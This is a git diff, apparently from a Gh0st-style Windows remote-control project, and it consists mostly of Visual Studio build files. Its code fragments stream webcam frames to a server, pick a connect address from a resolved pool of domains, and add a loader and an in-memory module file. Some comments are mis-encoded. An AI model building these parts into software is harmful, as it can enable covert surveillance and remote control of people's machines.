m_ClientObject->Send2Server((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
EndDialog(hDlg,0);
|
EndDialog(hDlg,0);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
Binary file not shown.
@@ -1,93 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
|
||||||
<RootNamespace>TestRun</RootNamespace>
|
|
||||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v110_xp</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v110_xp</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
|
||||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
|
||||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
|
||||||
</PropertyGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
||||||
<MinimalRebuild>false</MinimalRebuild>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Console</SubSystem>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
||||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="test.cpp" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="resource1.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="TestRun.rc" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
|
||||||
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
|
||||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
|
||||||
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
|
|
||||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
|
||||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
|
||||||
</PropertyGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -68,22 +68,22 @@
|
|||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Configuration)\test</IntDir>
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Configuration)\test</IntDir>
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -154,6 +154,7 @@
|
|||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Loader.cpp" />
|
||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="test.cpp" />
|
<ClCompile Include="test.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
|||||||
4
client/TestRun_vs2015.vcxproj.user
Normal file
4
client/TestRun_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
153
client/TinyRun.vcxproj
Normal file
153
client/TinyRun.vcxproj
Normal file
@@ -0,0 +1,153 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{e3f3a477-05ba-431d-b002-28ef8bfa6e86}</ProjectGuid>
|
||||||
|
<RootNamespace>TinyRunner</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<IntDir>$(Configuration)\tiny</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<IntDir>$(Configuration)\tiny</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -3,11 +3,11 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Filter Include="源文件">
|
<Filter Include="源文件">
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter Include="头文件">
|
<Filter Include="头文件">
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter Include="资源文件">
|
<Filter Include="资源文件">
|
||||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
@@ -15,18 +15,8 @@
|
|||||||
</Filter>
|
</Filter>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="test.cpp">
|
<ClCompile Include="main.c">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="resource1.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="TestRun.rc">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</ResourceCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
</Project>
|
||||||
4
client/TinyRun.vcxproj.user
Normal file
4
client/TinyRun.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
|
|||||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CVideoManager::SendNextScreen()
|
BOOL CVideoManager::SendNextScreen()
|
||||||
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
|
|||||||
}
|
}
|
||||||
m_CapVideo.SendEnd(); //copy send
|
m_CapVideo.SendEnd(); //copy send
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
31
client/domain_pool.h
Normal file
31
client/domain_pool.h
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <common/commands.h>
|
||||||
|
|
||||||
|
std::string GetIPAddress(const char* hostName);
|
||||||
|
|
||||||
|
class DomainPool {
|
||||||
|
private:
|
||||||
|
char Address[100]; // <20>˳<EFBFBD><CBB3>Ⱥ<EFBFBD>CONNECT_ADDRESS<53><53><EFBFBD><EFBFBD>ƥ<EFBFBD><C6A5>
|
||||||
|
std::vector<std::string> IPList;
|
||||||
|
public:
|
||||||
|
DomainPool() {
|
||||||
|
memset(Address, 0, sizeof(Address));
|
||||||
|
}
|
||||||
|
DomainPool(const char* addr) {
|
||||||
|
strcpy_s(Address, addr ? addr : "");
|
||||||
|
IPList = StringToVector(Address, ';');
|
||||||
|
for (int i = 0; i < IPList.size(); i++)
|
||||||
|
{
|
||||||
|
IPList[i] = GetIPAddress(IPList[i].c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
std::string SelectIP() const {
|
||||||
|
auto n = rand() % IPList.size();
|
||||||
|
return IPList[n];
|
||||||
|
}
|
||||||
|
std::vector<std::string> GetIPList() const {
|
||||||
|
return IPList;
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -1,160 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
|
||||||
<RootNamespace>ClientDll</RootNamespace>
|
|
||||||
<ProjectName>ghost</ProjectName>
|
|
||||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v110_xp</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
<UseOfMfc>false</UseOfMfc>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v110_xp</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
